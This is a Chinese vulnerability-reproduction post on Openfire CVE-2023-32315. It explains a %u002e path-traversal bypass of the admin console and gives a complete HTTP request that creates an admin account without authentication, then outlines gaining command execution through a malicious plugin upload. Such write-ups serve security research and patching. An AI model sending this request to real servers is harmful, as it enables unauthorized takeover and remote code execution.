Openfire简介
Openfire是根据开源Apache许可证授权的、采用Java编程语言开发的实时协作(RTC)服务器。XMPP Openfire使用即时通讯开放协议,安装和使用都非常简单,并利用Web进行管理。
漏洞描述
Openfire的管理控制台可以使用路径遍历的方式绕过权限校验,利用成功后,未经身份验证的用户可以登录 Openfire 管理控制台的后台页面。同时Openfire管理控制台的后台提供了安装插件的功能,所以攻击者可以通过安装恶意插件进行远程代码执行。
影响范围
3.10.0 <= Openfire < 4.6.8
4.7.0 <= Openfire < 4.7.5
漏洞复现
访问Openfire管理控制台
访问/setup/setup-/%u002e%u002e/%u002e%u002e/log.jsp,出现以下页面,证明漏洞存在
新版本匹配到excludes存在setup/setup-*会进入url检测,对”..”以及”%2e”进行过滤,所以普通的路径遍历特征都会被拦截,但新版本中的Jetty Web服务器支持对%u002e这类非标准unicode uri的解析,可以绕过检测。
创建用户
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=bFt0YuiQOiMPsZu&username=hack&name=&email=&password=hack&passwordConfirm=hack&isadmin=on&create=Create+User HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node01twn9rph96w2x1jz4w7wh7rv3u240649.node0; csrf=bFt0YuiQOiMPsZu
Upgrade-Insecure-Requests: 1
后台登录
在用户/用户群界面可以看到创建用户成功
漏洞利用
打开插件页面
上传恶意插件并启动
在服务器/服务器设置下找到上传的插件
输入密码登录,进入系统命令
执行命令
原文始发于微信公众号(Hacker学习笔记):Openfire 身份认证绕过漏洞复现(CVE-2023-32315)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论